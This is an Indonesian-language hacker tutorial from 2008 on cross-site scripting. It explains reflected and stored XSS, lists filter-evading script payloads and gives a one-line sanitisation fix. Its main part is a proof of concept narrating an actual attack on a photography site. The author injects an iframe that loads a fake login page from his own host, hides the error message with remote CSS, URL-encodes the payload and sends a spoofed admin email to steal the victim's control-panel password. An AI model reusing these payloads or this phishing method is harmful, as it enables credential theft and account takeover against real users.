[237].
Having Fun With Cross Site Scripting (XSS) + POC Pencurian Password
-----------------------------------------------------------------------------------
Author : SPYRO KiD
Contact : admin@spyrozone.net
=> http://spyrozone.net
CopyLEFT (c) 2008 www.spyrozone.net All Rights Reserved
13/02/2008 18.17.05 WIB
-----------------------------------------------------------------------------------
...oO---(O) Preface
Cross Site Scripting, XSS, serangan web sederhana yang banyak
diremehkan oleh user. Ya, banyak orang menganggapnya sebagai
serangan yang tidak berbahaya. Kali ini saya akan memandu anda untuk
bermain-main dengan XSS dan bagaimana memanfaatkannya untuk mencuri
informasi-informasi sensitif dari user, dalam hal ini saya contohkan
untuk mencuri password.
Enjoy... ;)
...oO---(0) All About XSS
---( Apa itu XSS?
XSS merupakan kepanjangan dari Cross Site Scripting. Lho, kok
disingkat menjadi XSS?? Bukannya CSS?? Ya, sebenarnya sama saja,
namun CSS lebih dikenal sebagai singkatan dari Cascading Style
Sheet, karena itulah kini disingkat XSS. Menurut Wikipedia versi
saya :D definisi XSS ialah:
"Salah satu jenis serangan web yang dilakukan dengan memanfaatkan
kelemahan pada suatu aplikasi web sehingga memungkinkan `bad guys`
untuk menginjeksikan suatu tag HTML ataupun Client Side Script pada
aplikasi web tersebut dikarenakan adanya variabel yang tidak
disanitasi dengan baik."
Logika dari serangan XSS bisa digambarkan demikian.. Ketika anda
memasukkan suatu kata di search engine, misalnya saja anda
mengetikkan SPYROZONE, maka apa yang anda ketikkan akan ditampilkan
pada hasil pencarian, dalam hal ini kata SPYROZONE akan ditampilkan.
Biasanya berupa kata-kata:
Found 599898 Search Result which contain "SPYROZONE"
atau yang mirip dengan itu, lalu diikuti hasil pencarian. Nah, itu
jika kita menginputkan text biasa. Coba anda inputkan tag HTML,
misalnya saja:
<h1>SPYROZONE</H1>
Jika kemudian kata SPYROZONE berubah menjadi berukuran jumbo seperti
ini:
Found 599898 Search Result which contain "SPYROZONE
"
Maka berarti pada situs tersebut terdapat kelemahan XSS. Hasil
injeksi yang dilakukan attacker tentu saja hanya dapat dilihat oleh
si Attacker sendiri
karena bersifat temporary.
Contoh potongan kode dari siatu apliaksi web yang tidak tersanitasi
dengan baik dapat digambarkan seperti berikut ini:
$page = $_GET['id'];
echo "Anda berada di halaman " . $page . " Artikel dan Trik";
Nah, misalnya nama halaman yang mengandung script diatas ialah
spyro.php, maka halaman tersebut dapat diinjeksi dengan serangan
sederhana:
http://korban.net/spyro.php?id=<H1>HELLO ZONERS</H1>
---( Script apa saja
yang bisa diinjeksikan?
Dalam melakukan XSS, Anda dapat menginjeksikan tag HTML, Java Script
atau Script Client Side lainnya, tergantung dari kreatifitas anda
dan selemah apa sanitasi pada aplikasi web tersebut. Hanya HTML?
Bagaimana dengan script server side?? Tidak bisa, anda tidak bisa
melakukan injeksi dengan script Server Side seperti PHP, ASP dan
yang sejenisnya. Beberapa contoh script yang dapat anda uji coba
untuk diinjeksikan antara lain:
<script>alert("spyrozone")</script>;
<script>alert("spyrozone");</script>
<script>alert("/spyrozone"/)</script>
')alert('spyrozone');
");alert('spyrozone');
<script type=text/javascript>alert("spyrozone")</script>
<script>var var = 1; alert(var)</script>
<script>alert(String.fromCharCode(115, 112, 121, 114, 111))</script>
Contoh-contoh diatas akan memberikan hasil yang sama, yaitu
menampilkan sebuah message box. Variasi-variasi yang diberikan dalam
melakukan penulisan bertujuan untuk melewati filtering yang
dilakukan oleh developer. Contoh pada baris kedelapan ialah salah
satu cara yang paling sering dilakukan untuk melewati filtering,
yaitu dengan menconvert karakter menjadi ASCII.
Kode Java Script yang anda injeksikan tidak harus berupa mesage BOX.
Misalnya saja anda ingin membuak suatu halaman baru menuju
spyrozone.net ketika halaman yang diinjeksi di laod oleh user, maka
anda bisa menginjeksikan script berikut:
<script>window.open("http://www.spyrozone.net/")</script>
Seperti yang sudah dicontohkan di awal pembahasan artikel ini, Anda
juga bisa menginjeksikan tag-tag HTML. Misalnya saja:
<H1>spyrozone</H1>
<b><BLINK>spyrozone</BLINK></b>
<img src="http://situsanda.net/attack.gif">
Anda juga bisa menginjeksikan script yang akan menampilkan animasi
Flash, me-load file-file musik, dan lain sebagainya, sesuai dengan
kreatifitas anda.
---( Target Injeksi
& Sifat Hasil Injeksi
Hasil injeksi yang anda lakukan memiliki 2 sifat tergantung dimana
anda melakukan injeksi serangan XSS. Jika anda melakukannya pada
suatu variabel yang hanya melewatkan parameter tanpa menyimpannya di
database, maka hasilnya hanya bersifat temporary (sementara).
Misalnya saja pada search engine, atau ketika anda menginjeksikan
melalui URL yang hanya melewatkan parameter. Contoh serangan
sederhana:
http://korban.com/find.php?q=<script>alert("TEST")</script>
Nah, jika kemudian muncul kotak pesan yang berbunyi "TEST", maka
berarti situs tersebut rentan terhadap serangan XSS, namun hanya
bersifat temporary.
Akan tetapi apabila anda menemukan kelemahan ini pada Guest Book,
Shout Book, Forum, Blog dan yang sejenisnya, maka hasil serangan
anda akan bersifat permanen karena script yang anda injeksikan
tersimpan didalam database.
Nah, apabila anda menemukan situs yang dapat diinject secara
permanen, maka hal paling menyenangkan yang dapat dilakukan ialah
mencuri Cookies pengunjung situs tersebut untuk kemudian meng-Hijack
Accountnnya. Bagaimana caranya??
Download ajah pencuri Cookies di Member Area spyroZONE.NET kategori
EXPLOIT. Didalamnya ada exploit plus tutorial singkat yang bisa anda
pelajari.
---( Bagaimana
Solusi Untuk Menghindari XSS?
Sederhana, sanitasikan selalu variabel-variabel anda agar user tidak
seenaknya dapat menginputkan dan memodifikasi parameter. Misalnya
pada script yang telah saya contohkan tadi:
$page = $_GET['id'];
echo "Anda berada di halaman " . $page . " Artikel dan Trik
- www.spyrozone.net";
Variabel $page perlu disanitasikan sehingga parameter yang dapat
diinputkan hanya bertipe data integer. Jika nantinya parameter yang
diberikan bukan integer, maka return yang diberikan ialah 0. Contoh
sanitasi untuk kasus ini ialah:
$page = (int)$_GET['id'];
echo "Anda berada di halaman " . $page . " Artikel dan Trik
- www.spyrozone.net";
Sederhana bukan? Ada banyak sekali tehnik sanitasi yang bisa anda terapkan, tergantung dari aplikasi web anda.
...oO---(0) POC XSS Untuk Pencurian
Password
Jika anda masih menganggap XSS yang bersifat temporary tidak
berbahaya, maka kini saatnya untuk membuka mata lebar-lebar. Saya
akan menunjukkan kepada anda betapa berbahayanya XSS ketika jatuh di
tangan `mahluk gokil` yang tepat ;D
Well.. suatu ketika saya berjalan-jalan ke suatu situs fotografi,
katakanlah namanya http://korban-spyrozone.net (bukan alamat
sebenarnya, alamat korban sengaja dipalsukan ^_^ Googling ajah, pasti
ketemu kok ^_^ )
Setelah asyik berjalan-jalan disana, saya menemukan
sebuah struktur URL menarik:
http://korban-spyrozone.net/?c=11

Hmm.. iseng-iseng, saya hapus angka 11 yang dilewatkan, kemudian saya
ganti dengan script sederhana, sehingga strukturnya kemudian berubah
menjadi demikian:
http://korban-spyrozone.net/?c=<H1>SPYROZONE.NET</H1>
Hasilnya:

weW.. tERnyata kemudian keluar pesan ERROR yang menyatakan bahwa
halaman dengan ID SPYROZONE.NET tidak ada. Namun ada hal menarik
dalam pesan ERROR tersebut yaitu: TAG HTML SAYA DIEKSEKUSI!!
Terbukti dengan tampilnya teks SPYROZONE.NET dalam halaman tersebut
dengan format teks jumbo HEADING 1.
Hmm.. lalu apa lagi? Saya coba untuk menginjeksikan tag IFRAME yang
akan memanggil halaman NOTEPAD spyrozone.net
http://korban-spyrozone.net/?c=<br><iframe
src= "http://spyrozone.net/notepad.html"
width="267"
height="312"></iframe><br>
Hasilnya:

Yeah, tampil iframe kecil di tengah-tengah halaman tersebut. Nah,
sekarang saya akan coba apakah script CSS juga akan di load. Saya
menginjeksikan script CSS website saya dengan mengubah URL situs
tersebut menjadi demikian:
http://korban-spyrozone.net/?c=<link
rel="stylesheet"
type="text/css"
href=
"http://spyrozone.net/css/css.css">
Hasilnya:

Fufufufu.. seperti yang anda lihat, script CSS saya di Load ^_^
background halaman situs tersebut berubah menjadi hitam, fontnya
juga berubah menjadi hijau menyala seperti font situs saya ;)
Well saya kemudian membuat sebuah halaman login palsu yang saya
upload di web hosting saya. Jika ada user yang menginputkan username
dan password di halaman tersebut, maka username dan passwordnya akan
tersimpan di database saya. Saya kemudian memadukan halaman login
palsu tersebut dengan tag IFRAME untuk diinjeksikan terhadap situs
korban sehingga URLnya kemudian berubah menjadi demikian:
http://korban-spyrozone.net/?c=<br><iframe
src="http://spyrozone.net/login.php"
width="267"
height="312"></iframe><br>
Hasilnya:

Yey..! Dieksekusi euy.. tampil halaman login palsu dalam IFRAME!!
Tapi.. upz.. khan ada pesan ERROR nya.. target nantinya pasti curiga dunkz..
Hmm.. okay, saya kemudian memodifikasi layout halaman login tipuan
agar tampak lebih meyakinkan. Gimana biar sama dengan layoutnya?
Pertama-tama saya lihat source code halaman situs tersebut. Dari
source code halaman itu saya menemukan nama class dari kotak yang
menampilkan error message:
<div
class="alert_msg">The
requested category [cid = <br><iframe
src="http://spyrozone.net/login.php"
width="267"
height="312"></iframe><br>]
does not exist!</div>
Saya juga menemukan baris yang menunjukkan lokasi CSS yang sedang
digunakan:
<link rel="stylesheet" type="text/css" href="css.php?theme=white"
/>
Well, dengan demikian maka saya langsung lompat menuju URL berikut
untuk mengetahui source code CSS nya:
http://korban-spyrozone.net/css.php?theme=white
Hmm.. terlihat source code dari CSS website korban.

Perhatikan baris yang saya beri lingkaran merah pada Screen Shoot
diatas:
.alert_msg { color: #444; letter-spacing: 1px; text-align:
center; background: #AAA; width: 80%; margin: 5px auto 15px;
padding: 10px 15px; border: 3px double #999; }
Baris inilah yang membuat Error Message tampil dengan warna latar
Silver dan warna Font Hitam. Saya menyimpan css tersebut pada
komputer saya dengan nama css-modifikasi.css kemudian saya
memodifikasi baris yang menghandle class
alert_msg sehingga menjadi demikian:
.alert_msg { color: #AAA; letter-spacing: 1px; text-align:
center; background: #AAA; width: 80%; margin: 5px auto 15px;
padding: 10px 15px; border: 3px double #999; }
Perhatikan bahwa warna font pesan error yang tampil ialah hitam,
sementara Background pesan error tersebut berwarna Silver. Maka cara
sederhana untuk menyembunyikan pesan Error tersebut agar tidak
tampak ialah dengan mengubah warna font pesan Error menjadi sama
dengan warna Backgroundnya, yaitu menjadi Silver. hehehe..
berterimakasih-lah pada Guru Taman Kanak-Kanak anda yang telah
mengajari anda keterampilan menggambar dan mewarnai.. :D
Setelah melakukan modifikasi, saya simpan hasil perubahannya lalu
saya upload file tersebut di webhosting saya. Sesudahnya, saya
melakukan injeksi menggunakan tag LINK yang berfungsi me-load CSS
hasil modifikasi tadi digabungkan dengan tag IFRAME yang berfungsi
menampilkan halaman login tipuan sehingga kini halaman login tipuan
tersebut tampak lebih meyakinkan ;) URL korban saya inject menjadi
demikian:
http://korban-spyrozone.net/?c=<LINK
rel="stylesheet" type="text/css"
href="http://spyrozone.net/css-modifikasi.css"><br><IFRAME
src=
"http://spyrozone.net/login.php"
scrolling="no" border="0" frameborder="0"
width="267" height="150"></IFRAME><br><br>
Saya berikan nilai "no" untuk scrolling pada tag IFRAME agar
scrollbar tidak tampak, nilai 0 pada border dan frameborder
menyebabkan IFRAME menjadi 'tersembunyi' sehingga halaman login
tipuan benar-benar meyakinkan. Upaya terakhir agar halaman tersebut
lebih meyakinkan lagi adalah dengan meng-encode URL sehingga menjadi
demikian:
http://korban-spyrozone.net/?c=%3CLINK+rel%3D%22stylesheet%22+type%3D%
22text%2Fcss%22+href%3D%22http%3A%2F%2Fspyrozone.net%2Fcss-modifikasi.css%22%3E%3Cbr%
3E%3Ciframe+src%3D+%22http%3A%2F%2Fspyrozone.net%2Flogin.php%22+scrolling%3D%22no%
22+border%3D%220%22+frameborder%3D%220%22+width%3D%22267%22+height%3D%22150%22%3E%3C%
2Fiframe%3E%3Cbr%3E%3Cbr%3E
Hohoho.. coba anda perhatikan hasil injeksi berikut:

Yupz.. perfect sudah, ERROR message telah tersamarkan, border IFRAME
juga telah lenyap. Saya kemudian melakukan social engineering dengan
menggunakan Fakemail. Dalam email tersebut saya berpura-pura sebagai
Admin Penyedia layanan webhosting target. Saya memberi informasi palsu
dengan mengatakan bahwa telah terjadi Error pada Database sehingga user
perlu untuk melakukan aktivasi ulang secepatnya. Jika tidak, maka
data-data user terancam hilang. Untuk melakukan Aktivasi, maka saya
menginstruksikan user agar melakukan klik terhadap link yang saya
sertakan. Hehehe.. link tersebut tidak lain ialah link menuju halaman
login tipuan yang telah saya encode untuk memperkecil kecurigaan user
^_^
Dan ternyata.. target tertipu ^_^ Ia kemudian memasukkan username
dan password Control Panelnya pada halaman Login Tipuan tersebut.
Maka beberapa hari kemudian..

BINGO...!! Game Over..!
...oO---(O) Penutup
Fyuh.. ternyata, kelemahan yang kelihatannya sepele bisa jadi hal
yang sangat berbahaya. Tidak terbayang khan apabila hal ini menimpa
situs sebuah Bank? Hmm.. tentunya memungkinkan sang Attacker untuk
menipu para nasabah agar terjebak dalam sebuah formulir tipuan yang
meminta nasabah menginputkan informasi-informasi sensitif yang
berkaitan dengan rekeningnya, seperti yang menimpa salah satu bank
di Italy beberapa waktu yang lalu x_x
Tetap waspada.. sanitasikan selalu variabel-variabel anda agar
mahluk-mahluk gokil yang banyak bergentayangan di alam maya tidak
memanfaatkannya untuk tindakan-tindakan yang merugikan anda dan memperpendek usia
web anda ;)
Bubbay zoNERS.. keep learning and Happy Hacking!
/* ------------------------------|EOF|------------------------------ */
|